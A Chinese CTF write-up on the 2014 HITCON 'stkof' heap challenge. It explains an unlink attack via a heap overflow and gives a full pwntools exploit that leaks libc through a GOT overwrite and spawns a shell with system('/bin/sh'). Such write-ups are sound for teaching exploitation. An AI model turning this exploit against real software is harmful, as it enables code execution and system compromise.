unlink 2014 HITCON stkof

这里有一个很坑的问题,ubuntu18和之前的版本堆的管理策略好像不太一样网上说的关于堆的策略的问题可能对ubuntu18有些不太适用。

所以环境就从原本的18改为了16
关于unlink的介绍参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/
http://yunnigu.dropsec.xyz/2017/04/05/%E5%A0%86%E6%BA%A2%E5%87%BA%E4%B9%8Bunlink%E7%9A%84%E5%88%A9%E7%94%A8/

其实最终的结果就是*p=p-0x18(64位系统)。
开始正题
程序本身就是实现了一个简单的内存管理,增加,编辑,删除。还有一个功能没什么用

开启了NX和stack保护

liu@liu-F117-F:~/virtualbox$ checksec stkof
[*] '/home/liu/virtualbox/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
liu@liu-F117-F:~/virtualbox$ 

在编辑函数中没有限制读入数据的数量导致了堆溢出。

signed __int64 sub_4009E8()
{
  signed __int64 result; // rax
  int i; // eax
  unsigned int v2; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s; // [rsp+20h] [rbp-70h]
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v2 = atol(&s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v2] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  n = atoll(&s);
  ptr = ::s[v2];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;
}

数据结构
查看内存

def exp():
    Create(0x100)
    Create(0x30)
    Create(0x80)  # 0x80 --- 0x200 is small chunk
    Edit(1,"qqqqqqqq")
    Edit(2,"wwwwwwww")
    Edit(3,"rrrrrrrr")
    gdb.attach(p)

这里存放这三个chunk的指针。
关于堆溢出找数据结构需要找2个地方:
1.申请的每一个结构体在哪
2.管理结构体的数组在哪
重要的是第二个

pwndbg> x /10xg 0x602140
0x602140:   0x0000000000000000  0x0000000002d1c270
0x602150:   0x0000000002d1c790  0x0000000002d1c7d0

上面列出了各指针的位置。
具体利用
先用unlink实现修改chunk数组中一个chunk的地址到指向chunk数组,然后修改每个chunk的指针,就能指向got表和plt表。
这里需要实现的是
1.写入一个地址。
2.向这个地址处写入数据。
实现复写got表。
exp

from pwn import *

# context.log_level = 'debug'
elf = ELF("stkof")
libc = ELF('./libc.so.6')

p = process("./stkof")
heap = 0x000000000602140


def Create(size):
    p.sendline("1")
    p.sendline(str(size))
    p.recvuntil("OK\n")


def Edit(ID, content):
    p.sendline('2')
    p.sendline(str(ID))
    p.sendline(str(len(content)))
    p.sendline(content)
    p.recvuntil('OK\n')


def Delete(ID):
    p.sendline("3")
    p.sendline(str(ID))
    p.recvuntil("OK\n")


def Delete_puts(ID):
    p.sendline("3")
    p.sendline(str(ID))


def exp():
    Create(0x100)
    Create(0x30)
    Create(0x80)  # 0x80 --- 0x200 is small chunk
    payload1 = p64(0)  # prev_size
    payload1 += p64(0x20)  # size&flag-->prev chunk is free
    payload1 += p64(heap + 16 - 0x18)  # fd    heap+16 is chunk2_addr
    payload1 += p64(heap + 16 - 0x10)  # bk
    payload1 += p64(0x20)  # ?
    payload1 = payload1.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload1 += p64(0x30)  # global[3].prev_size

    # make it believe that prev chunk is free
    payload1 += p64(0x90)  # global[3].size&flag-->flag[0]=0
    Edit(2, payload1)
    # gdb.attach(p)
    Delete(3)

    ##################reset free_got to puts_plt####################
    payload = 'A' * 16
    payload += p64(elf.got['free'])
    payload += p64(elf.got['puts'])
    payload += p64(elf.got['atoi'])
    Edit(2, payload)
    payload2 = p64(elf.plt['puts'])
    Edit(1, payload2)
    # gdb.attach(p)
    Delete_puts(2)
    ##################get puts_addr,system_addr,binsh_addr############
    p.recvuntil("FAIL\n")
    puts_addr = p.recv(6) + '\x00\x00'

    print puts_addr

    puts_addr = u64(puts_addr)
    print "puts_addr=" + hex(puts_addr)
    system_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
    print "base_addr=" + hex(puts_addr - libc.symbols["puts"])
    binsh_addr = puts_addr - libc.symbols["puts"] + next(libc.search('/bin/sh'))
    print "system_addr=" + hex(system_addr)
    print "puts_addr=" + hex(puts_addr)
    gdb.attach(p)

    Edit(3, p64(system_addr))
    p.sendline(p64(binsh_addr))
    p.interactive()


if __name__ == "__main__":
    exp()

需要强调一点,ubuntu18不行ubuntu16可以。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/81394165